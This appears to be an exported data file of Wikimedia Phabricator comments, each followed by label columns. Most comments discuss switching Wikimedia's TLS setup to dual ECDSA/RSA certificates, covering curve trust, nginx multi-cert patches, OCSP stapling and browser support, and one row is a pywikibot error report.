compromising our systems or breaking into and/or colluding with CAs, etc).
+
+Reading list, mostly from the ECDSA-negative/paranoid view:
+http://safecurves.cr.yp.to/
+http://blog.cr.yp.to/20140323-ecdsa.html
+http://eprint.iacr.org/2013/734.pdf
+This entire lengthy thread: https://www.ietf.org/mail-archive/web/tls/current/msg10149.html
+Reddit attacking Cloudflare's ""Yay ECDSA!"" blog post: http://www.reddit.com/r/netsec/comments/20kaaw/ecdsa_the_digital_signature_algorithm_of_a_better/
+
+Going back the other way, I guess a lot of what I'm saying here mirrors this guys' conclusions in Schneier's blog comments re pragmatism: https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1678526
+
+The only argument I've seen that really frightens me about NIST P-256 in our scenario is the idea that it could have been specifically engineered by [[ http://www.ietf.org/mail-archive/web/tls/current/msg10321.html | its NSA author ]] to be spectrally weak through a fairly exhaustive but plausible search of of the parameter space.  I don't think anyone has ever even implied any proof that this occurred, though.
+
+> Maybe we should wait for browsers to enable using a curve that is more bad ass ( http://safecurves.cr.yp.to/bada55.html )?
+> 
+> More seriously, we are already using NIST P-256  for ECDHE:
+> $ openssl s_client -msg -connect en.wikipedia.org:443 2>/dev/null |grep -A 1 ServerKeyExchange
+> <<< TLS 1.2 Handshake [length 014d], ServerKeyExchange
+>     0c 00 01 49 03 00 17 41 04 73 62 0f 9a 24 8f 97
+> The curve is identified by 0x0017 which is 23, see https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8 for the mapping.
+
+Yeah, that's the nginx default we're using there, for the config parameter: [[ http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_ecdh_curve | ssl_ecdh_curve ]],  Obviously, if we don't trust P-256, then we'd want to change that parameter.  However, AFAIK the only other viable option that's widely compatible with browsers is NIST P-384, which shares a lot of the same question-marks.  That or we shut off ECDH(E)-based ciphersuites completely, at which point we're back to...  what? Regular DH, which is even weaker?  Are there other realistic options here?  So long as we continue to accept P-256 for the ECDHE part, we can't really argue that using a P-256 key for ECDSA is making things any worse, right?",,,1435461072,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+483060,Switch to ECDSA hybrid certificates,">>! In T86654#1405484, @BBlack wrote:
+> On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.
+
+Can you qualify ""still very strong""? I have not actually tried to find out but it might be that the known problems ( https://www.hyperelliptic.org/tanja/vortraege/20130531.pdf ) in combination with a lacking implementation are enough to make it weaker than 2k RSA?
+
+Maybe we should wait for browsers to enable using a curve that is more bad ass ( http://safecurves.cr.yp.to/bada55.html )?
+
+More seriously, we are already using NIST P-256  for ECDHE:
+$ openssl s_client -msg -connect en.wikipedia.org:443 2>/dev/null |grep -A 1 ServerKeyExchange
+<<< TLS 1.2 Handshake [length 014d], ServerKeyExchange
+    0c 00 01 49 03 00 17 41 04 73 62 0f 9a 24 8f 97
+The curve is identified by 0x0017 which is 23, see https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8 for the mapping.
+",,,1435448833,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+482692,Switch to ECDSA hybrid certificates,"pinkunicorn is now running the proposed setup:
+ - openssl 1.0.2c
+ - nginx rebuilt against openssl 1.0.2c, with multi-cert patches, from branch above
+ - ECDSA-preferred ciphersuite changes from https://gerrit.wikimedia.org/r/#/c/220377/
+ - dual ECC+RSA unified certs from GlobalSign (no separate SNI certs)
+ - dual-cert ocsp stapling, regenerated once an hour from a hacky cronjob to keep it up to date, since our current stapling code doesn't understand how to do it.
+
+Because the underlying host has had puppet disabled for a while, it's missing some other recent stuff like our latest HSTS max-age bump, so ignore that.  I have yet to validate how the stapling issues work out, that's TBD over the next few days (sadly, I haven't found any direct debug info in FF/Chrome to see whether they liked our stapling or (in the FF case anyways) fell back to remote OCSP fetches, will probably just have to sniff for the remote OCSP fetches).
+
+You can test the SSL-level stuff by pointing a browser at https://pinkunicorn.wikimedia.org/ , or see ssllabs results @ https://www.ssllabs.com/ssltest/analyze.html?d=pinkunicorn.wikimedia.org&hideResults=on
+",,,1435349493,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0
+482687,Switch to ECDSA hybrid certificates,"pinkunicorn is now running the proposed setup:
+ - openssl 1.0.2c
+ - nginx rebuilt against openssl 1.0.2c, with multi-cert patches, from branch above
+ - ECDSA-preferred ciphersuite changes from https://gerrit.wikimedia.org/r/#/c/220377/
+ - dual ECC+RSA certs from GlobalSign
+ - dual-cert ocsp stapling, regenerated once an hour from a hacky cronjob to keep it up to date, since our current stapling code doesn't understand how to do it.
+
+Because the underlying host has had puppet disabled for a while, it's missing some other recent stuff like our latest HSTS max-age bump, so ignore that.  I have yet to validate how the stapling issues work out, that's TBD over the next few days (sadly, I haven't found any direct debug info in FF/Chrome to see whether they liked our stapling or (in the FF case anyways) fell back to remote OCSP fetches, will probably just have to sniff for the remote OCSP fetches).
+
+You can test the SSL-level stuff by pointing a browser at https://pinkunicorn.wikimedia.org/ , or see ssllabs results @ https://www.ssllabs.com/ssltest/analyze.html?d=pinkunicorn.wikimedia.org&hideResults=on
+",,,1435349182,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0
+482654,Switch to ECDSA hybrid certificates,"FYI: I did some force-pushing and branch-deleting to fix up previously-malformed branches in the operations/software/nginx repo:
+
+- The `master` branch was force-push overwritten to exactly track debian's master branch from `git://anonscm.debian.org/collab-maint/nginx.git`, and the intent is that it will always track that branch with ff-only merges and not contain any local commits.
+- Created a new branch `wmf-1.9.2-1` which branches from the 1.9.2-1 release commit in master, and is solely for creating our 1.9.2-1+wmfN releases for stapling and multi-cert stuff.  When upstream (debian) makes new releases, we'll do new branches like this for our +wmfN releases and port over whatever patches need porting, etc.
+- Deleted the previous branches `wmf` and `wmf-192fix`, which were based on the previous malformed master and applies our patchwork in the wrong order.
+
+TL;DR - branch to follow for current local work is: https://git.wikimedia.org/log/operations%2Fsoftware%2Fnginx.git/refs%2Fheads%2Fwmf-1.9.2-1",,,1435345552,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+482653,Switch to ECDSA hybrid certificates,"FYI: I did some force-pushing and branch-deleting to fix up previously-malformed branches in the operations/software/nginx repo:
+
+- The `master` branch was force-push overwritten to exactly track debian's master branch from `git://anonscm.debian.org/collab-maint/nginx.git`, and the intent is that it will always track that branch with ff-only merges and not contain any local commits.
+- Created a new branch `wmf-1.9.2-1` which branches from the 1.9.2-1 release commit in master, and is solely for creating our 1.9.2-1+wmfN releases for stapling and multi-cert stuff.  When if upstream (debian) makes new releases, we'll do new branches like this for our +wmfN releases and port over whatever patches need porting, etc.
+- Deleted the previous branches `wmf` and `wmf-192fix`, which were based on the previous malformed master and applies our patchwork in the wrong order.
+
+TL;DR - branch to follow for current local work is: https://git.wikimedia.org/log/operations%2Fsoftware%2Fnginx.git/refs%2Fheads%2Fwmf-1.9.2-1",,,1435345509,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+482592,Switch to ECDSA hybrid certificates,"So, to answer some of the above and recap where IRC conversations about this have gone lately:
+
+- Yes, we're limited by TLS protocol support and browsers to only the NIST curves right now.  I think for major browser support over TLS, we're limited to the NIST 256 and 384 -bit curves.  GlobalSign (the CA we'd be using to issue) supports NIST 256, 384, and 512: https://support.globalsign.com/customer/portal/articles/1994347-ecc
+- We've acquired a live ECC key from GlobalSign already for our unified wildcard production cert, using the NIST 256 curve (`prime256v1` in `openssl ecparam` terms) in order to do some testing outside of production, but have not yet deployed that to production.  In rough terms, this is equivalent to a 3K RSA key, so it's better than the 2048 RSA's we have, at least on that one level of thinking about such things.
+- There are some browsers which we still care about which do not support ECDSA at all.  Notable on that list I believe are things like IE8/XP and Android 2.x, probably among a few others.  @faidon did some sampling on our traffic and saw that something like 94% of our client traffic is ECDSA capable in the overall, but clearly we're not going to deploy something that kills the other 6% :)
+  - Because of the above, we'd have to have a way to support two different server-side keypairs in parallel, switching depending on client support and our cipher pref list between the ECDSA and RSA variant keys.
+  - That (multiple certs w/ different algorithms) requires special server-side support that nginx currently lacks, but we've been testing a bit with the patches linked earlier in this ticket to enable that functionality.
+  - Also, the multi-cert thing has some unknown interactions with OCSP Stapling (there is no explicit multi-cert support for `ssl_stapling_file` in the nginx patches yet).  I think I've found answers to that problem (that our offline staple-fetcher can do what the nginx fetcher appears to do: staple both in one OCSP response, assuming same OCSP URL and intermediate cert), but I need to do further verification work here.
+
+As for the questions about whether ECDSA is better than RSA in the overall, and whether the available curves are good enough: I think those are matters of opinion yet, and there are multiple comparison angles.
+
+On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.  I know it's just a sort of sideways argument from authority, but Cloudflare likes it ( https://blog.cloudflare.com/ecdsa-the-digital-signature-algorithm-of-a-better-internet ), and in response to some of the notes in that article, our multi-cert patches require OpenSSL 1.0.2, so we'd get the fixes they mention from that as well.
+
+On other fronts: Cloudflare's testing mirrors our own here: Signing on the server side gets approximately an order of magnitude faster with ECDSA, and the overall cert size sent during session negotiation is a couple hundred bytes shorter than equivalent RSA ones for now (could be more, eventually, with ECC intermediates and such as well).
+
+Currently, I expect us to switch to dual ECDSA+RSA certs with the NIST 256 curve in the fairly near future, once we've worked out all the associated technical details above, and assuming no new snags in all of that crop up.",,,1435339625,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,0,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1
+482571,Switch to ECDSA hybrid certificates,"
+@janzerebecki mentioned in https://gerrit.wikimedia.org/r/#/c/220377 :
+
+> For the explanation of the current ordering see https://wiki.mozilla.org/Security/Server_Side_TLS#Prioritization_logic . (AES-GCM over AES because of security, AES128 over 256 because of speed while it seems it dosn't make security weaker as the weakest link is elsewhere.) For most clients out there it probably makes no difference if we order ECDSA over RSA first or only after the AES ordering. But theoretically it may make sense if 2k RSA is the weak link. Another argument for it is that latency because of bigger hand shake is more important than ongoing CPU cost.
+> Moving to EC in general is I think a good idea, but then in practice we can not freely pick the best curve. HTTPS implementations are way behind openssh. Are we limited to secp256r1, secp384r1, secp521r1 (which is what https://www.ssllabs.com/ssltest/viewMyClient.html says my browser supports)? These are not evaluated on http://safecurves.cr.yp.to/ . Is there some assessment of these curves regarding the properties on safecurves? Where these generated in a nothing up my sleeve way? Sadly I don't have the time now to research this, so no vote either way from me.
+",,,1435337614,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1
+480163,Switch to ECDSA hybrid certificates,"Change 220182 merged by BBlack:
+Add Filipe da Silva's multicert patches, forward-ported
+
+[[https://gerrit.wikimedia.org/r/220182]]",,,1435079773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+480160,Switch to ECDSA hybrid certificates,"Change 220182 had a related patch set uploaded (by BBlack):
+Add Filipe da Silva's multicert patches, forward-ported
+
+[[https://gerrit.wikimedia.org/r/220182]]
+",,,1435079625,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+477460,Switch to ECDSA hybrid certificates,"Status update: I've built on debian upstream's 1.9.1 package, patched to 1.9.2, and then forward-ported the latest variant of the multicert patches from http://mailman.nginx.org/pipermail/nginx-devel/2015-March/006734.html , that that's running on the test node (cp1008/pinkunicorn) with our prod config + reuseport enabled and seems basically ok.  This is just a local test build, not a real package to upload to our repo (but the patches are formed up in debian/patches/ cleanly for later reuse in a real package if we want).
+
+I haven't yet tried to actually use the multi-cert patch functionality, but I suspect just from reading the patches, that it needs additional work to support ssl_stapling_file (which is what we use for stapling) to have different stapling response files per certificate.",,,1434650823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+469618,Switch to ECDSA hybrid certificates,"Yeah, that's why we're blocking on dual-cert support in nginx (or other solution to the problem).  There's similar issues with e.g. Chrome on WinXP, so we won't be doing ECDSA until we can serve both certs in parallel to work around the issue.",,,1433476751,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+469576,Switch to ECDSA hybrid certificates,Let me just note that at least some of Cloudflare's ECDSA certificates are incompatible with Opera 12.x (which represents a bit more than 0.5% of our page views). Pages using them are completely inaccessible for Opera 12 users even after adding the certificate to the whitelist. Please make sure we do not accidentally lock out these users from our sites.,,,1433467744,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+469575,Switch to ECDSA hybrid certificates,Let me just note that at least some of Cloudflare's ECDSA certificates are incompatible with Opera 12.x (which represents a bit more than 0.5% of our page views). Pages using them are completely inaccessible for Opera 12 users even after adding the certificate to the whitelist. Please make sure we do not accidentally block these users from our sites.,,,1433467680,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+469567,Switch to ECDSA hybrid certificates,"Looks like someone may have already done the hard work, I just didn't google hard enough: http://forum.nginx.org/read.php?2,253440,257332#msg-257332 .  [[ https://phabricator.wikimedia.org/T96850 | We'd still have to roll our own package for now to do it, though ]].",,,1433466851,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-4,True,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1
+467473,Switch to ECDSA hybrid certificates,"> Another alternative would be to try to finish the work of the original patch author and get it accepted upstream, with all of the stapling stuff sorted out.
+
+You'd be doing the web community a very nice service if you went that route. I wonder if you could connect with someone at Cloudflare to collaborate on the patch, or at least giving it some feedback and review.",,,1433255553,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,False,,,-5,True,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+467459,Switch to ECDSA hybrid certificates,"So, Globalsign announced the cert support here: https://www.globalsign.com/en/blog/elliptic-curve-cryptography/ , and it seems we can reissue current certs as ECC from the portal.  However, in talking this over on IRC, it seems like our earlier assumption of browsers supporting ECC being a subset of those supporting SNI is probably flawed.  At least one significant SNI-but-no-ECC case is known: Chrome on WinXP.
+
+So, we might not be able to switch to ECC, unless we can deploy parallel ECC/RSA certs for the same server instance.  Apache has supported that for a while, but the patch to do it for nginx was never merged, primarily owing to complications in the patch's interactions with their internal OCSP Stapling fetch/verify code, which we're not using anyways (we fetch/verify externally and use `ssl_stapling_file` instead).
+
+The last version of the patch was here: http://mailman.nginx.org/pipermail/nginx-devel/2013-October/004474.html , but the whole thread is worth reading if we decide to go down some variant of that path.  It doesn't apply cleanly to more-recent nginx versions, but it might be fairly trivial to port it forward, especially if we don't care about the stapling problems (we don't).  The downside is I'd really rather not put us in the boat of maintaining our own non-upstream nginx patches.  Another alternative would be to try to finish the work of the original patch author and get it accepted upstream, with all of the stapling stuff sorted out.",,,1433254823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0
+462121,Switch to ECDSA hybrid certificates,"We have some hints now that we may get to move on an ECDSA solution sometime in June.  More details later on, but just noting for planning/estimation.",,,1432246863,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-6,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+406041,Switch to ECDSA hybrid certificates,The response from our GlobalSign rep is that they don't have a firm timeline and can't commit to a Q1 rollout yet.,,,1422953870,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+399970,Switch to ECDSA hybrid certificates,"We've evaluated a bunch of certificate vendors & solutions (most of them, I'd say) and personally, I've been aware of SSLMate since its inception. Unfortunately we have a number of unique requirements that very few CAs are able to deliver, such as issuing certificates with multiple wildcards for different TLDs, explicitly setting notBefore/notAfter etc. and that's just from the technical side (we've had legal reject the CPS of at least one CA). We very recently switched our business to GlobalSign and we did so with the expectation of ECDSA availability this calendar quarter, so we're good on this front I'd say. So far :)",,,1421304970,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,True,,,-24,True,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1
+491054,Switch to ECDSA hybrid certificates,"Have you looked at SSLMate for a CA (reseller)? https://sslmate.com/
+
+I've been using them at home and at work (https://myra.treasury.gov uses a cert by them), and their CLI based approach to certificate management is a total joy. They're also quite reasonably priced, and extremely responsive.
+
+I also bring them up because they're [[ https://github.com/SSLMate/sslmate/issues/6 | rolling out ECDSA certificates ]] shortly, and I'm sure that for Wikipedia they'd turn on access for you right now.",,,1436818761,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+399935,Switch to ECDSA hybrid certificates,"Have you looked at SSLMate for a CA (reseller)? https://sslmate.com/
+
+I've been using them at home and at work (https://myra.treasury.gov uses a cert by them), and their CLI based approach to certificate management is a total joy. They're also quite reasonably priced, and extremely responsive.
+
+I also bring them up because they're [[ https://github.com/SSLMate/sslmate/issues/6 rolling out ECDSA certificates ]] shortly, and I'm sure that for Wikipedia they'd turn on access for you right now.",,,1421296822,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,1,False,,,-24,True,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+86621,AttributeError: 'HttpRequest' object has no attribute '_join',"D:\Py\rewrite>`pwb.py interwiki -async -cleanup -whenneeded:5 -family:wiktionary -untranslated -lang:ast -subcats:Llingües -array:300`
+
+```
+ERROR: Traceback (most recent call last):
+  File ""D:\Py\rewrite\pywikibot\data\api.py"", line 937, in submit
+    headers=headers, body=body)
+  File ""D:\Py\rewrite\pywikibot\tools.py"", line 679, in wrapper
+    return obj(*__args, **__kw)
+  File ""D:\Py\rewrite\pywikibot\comms\http.py"", line 256, in request
+    r = fetch(baseuri, *args, **kwargs)
+  File ""D:\Py\rewrite\pywikibot\comms\http.py"", line 353, in fetch
+    request._join()  # wait for it
+AttributeError: 'HttpRequest' object has no attribute '_join'
+
+
+WARNING: Waiting 5 seconds before retrying.
+```
+
+after replacing bot with latest nightly:
+
+
+```
+
+ERROR: Traceback (most recent call last):
+  File ""D:\Py\rewrite\pywikibot\data\api.py"", line 983, in submit
+    headers=headers, body=body)
+  File ""D:\Py\rewrite\pywikibot\tools.py"", line 711, in wrapper
+    return obj(*__args, **__kw)
+  File ""D:\Py\rewrite\pywikibot\comms\http.py"", line 248, in request
+    baseuri = site.base_url(uri)
+  File ""D:\Py\rewrite\pywikibot\site.py"", line 641, in __getattr__
+    % (self.__class__.__name__, attr))
+AttributeError: APISite instance has no attribute 'base_url'
+
+WARNING: Waiting 5 seconds before retrying.
+
+```",Medium,50.0,1421137807,1421220620.0,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_description,invalid,True,c3,1,True,True,True,-25,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
